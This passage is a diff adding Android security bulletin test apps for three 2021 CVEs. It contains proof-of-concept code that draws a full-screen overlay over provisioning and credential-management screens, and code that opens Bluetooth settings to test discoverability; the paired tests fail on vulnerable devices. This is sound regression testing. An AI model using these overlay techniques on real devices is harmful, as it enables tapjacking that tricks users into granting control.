+        android:label="CVE-2021-39626"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39626" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
new file mode 100644
index 0000000..cd24540
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39626;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int TIMEOUT = 5000;
+    private static Context context;
+
+    private static String getSettingsPkgName() {
+        Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+        ComponentName settingsComponent =
+                settingsIntent.resolveActivity(context.getPackageManager());
+        String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+                : "com.android.settings";
+        assumeNotNull(pkgName);
+        return pkgName;
+    }
+
+    private void openApplication(String applicationName) {
+        Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+        assumeNotNull(intent);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        try {
+            context.startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+
+    @Test
+    public void testBtDiscoverable() {
+        // Initialize UiDevice instance
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        context = InstrumentationRegistry.getInstrumentation().getContext();
+        BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
+        assumeNotNull(btAdapter);
+
+        // Save the state of bluetooth adapter to reset after the test
+        boolean btState = btAdapter.isEnabled();
+        if (!btState) {
+            // If bluetooth is disabled, enable it and wait for adapter startup to complete
+            assumeTrue(btAdapter.enable());
+            try {
+                Thread.sleep(TIMEOUT);
+            } catch (Exception e) {
+                assumeNoException(e);
+            }
+        }
+        assumeTrue(btAdapter.isEnabled());
+
+        // Launch the PoC application and ensure that it launches bluetooth settings
+        openApplication(context.getPackageName());
+        assumeTrue(device.wait(Until.hasObject(By.pkg(getSettingsPkgName())), TIMEOUT));
+
+        boolean isBtDiscoverable =
+                (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+        // Disable bluetooth if it was OFF before the test
+        if (!btState) {
+            btAdapter.disable();
+        }
+
+        // The test fails if bluetooth is made discoverable through PoC
+        assertFalse("Vulnerable to b/194695497 !!", isBtDiscoverable);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
new file mode 100644
index 0000000..d4425ff
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39626;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Intent intent = new Intent();
+        intent.setAction(Settings.ACTION_BLUETOOTH_SETTINGS);
+        try {
+            startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
new file mode 100644
index 0000000..602c426
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39692",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
new file mode 100644
index 0000000..459d992
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.security.cts.CVE_2021_39692">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+            android:testOnly="false"
+            android:allowBackup="true"
+            android:label="CVE-2021-39692">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".PocActivity"
+            android:enabled="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="false" />
+
+        <receiver android:name=".PocDeviceAdminReceiver"
+                android:permission="android.permission.BIND_DEVICE_ADMIN"
+                android:exported="true">
+            <meta-data
+                    android:name="android.app.device_admin"
+                    android:resource="@xml/device_admin_receiver"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.intent.action.BOOT_COMPLETED" />
+                <action android:name="android.app.action.PROFILE_OWNER_CHANGED" />
+                <action android:name="android.app.action.DEVICE_OWNER_CHANGED" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39692" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
new file mode 100644
index 0000000..cf041ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+    <string name="activityNotStartedException">Unable to start the %1$s</string>
+    <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+    <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+    <string name="overlayErrorMessage">Device is vulnerable to b/209611539 hence any app with
+    "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="testPkg">android.security.cts.CVE_2021_39692</string>
+    <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
new file mode 100644
index 0000000..af74d3b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<device-admin>
+    <support-transfer-ownership/>
+    <uses-policies>
+        <limit-password/>
+        <watch-login/>
+        <reset-password/>
+        <force-lock/>
+        <wipe-data/>
+        <expire-password/>
+        <encrypted-storage/>
+        <disable-camera/>
+        <disable-keyguard-features/>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
new file mode 100644
index 0000000..e2f6196
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        Intent intent = new Intent(context, PocService.class);
+
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(
+                    context.getString(R.string.activityNotStartedException, "overlay service"), e);
+        }
+    }
+
+    private void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        Intent intent = new Intent(context, PocActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            context.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(
+                    context.getString(R.string.activityNotStartedException, "PocActivity"), e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Context context = getApplicationContext();
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        final int launchTimeoutMs = 20000;
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = false;
+        if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+                launchTimeoutMs)) {
+            overlayDisallowed = true;
+        }
+
+        Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+        intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+                new ComponentName(context, PocDeviceAdminReceiver.class));
+        PackageManager pm = context.getPackageManager();
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+        String testVulnerableActivity = ri.activityInfo.name;
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = mDevice.executeShellCommand(
+                    context.getString(R.string.dumpsysActivityCmd, testVulnerableActivity));
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerableActivity),
+                activityPattern.matcher(activityDump).find());
+
+        /* Failing the test as fix is not present */
+        assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerableActivity),
+                overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
new file mode 100644
index 0000000..89a7d93
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+        intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+                new ComponentName(getApplicationContext(), PocDeviceAdminReceiver.class));
+        PackageManager pm = getPackageManager();
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assumeTrue(getString(R.string.activityNotFoundMsg, intent), ri != null);
+        try {
+            startActivityForResult(intent, 1);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(getString(R.string.activityNotFoundMsg, intent), e);
+        }
+    }
+
+    @Override
+    public void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (resultCode == Activity.RESULT_OK) {
+            this.setResult(Activity.RESULT_OK);
+            this.finish();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..455aa03
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        super.onReceive(context, intent);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
new file mode 100644
index 0000000..be96d11
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    private Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        Context context = getApplicationContext();
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        mButton = new Button(getApplicationContext());
+        mButton.setText(context.getString(R.string.overlayButtonText));
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
new file mode 100644
index 0000000..034f865
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39702",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
new file mode 100644
index 0000000..60105d6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.CVE_2021_39702"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2021_39702"
+        android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="false" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39702" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
new file mode 100644
index 0000000..46f9745
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+    <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="dumpsysActivity">dumpsys activity</string>
+    <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command
+    </string>
+    <string name="errorMessage">Device is vulnerable to b/205150380 hence any app with
+    "SYSTEM_ALERT_WINDOW can overlay the RequestManageCredentials screen</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayAttack">overlayattack</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="vulActivityNotRunningError">The RequestManageCredentials is not currently running
+    on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
new file mode 100644
index 0000000..b5f3a3e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.provider.Settings;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.Credentials;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private String vulnerableActivityName = "";
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
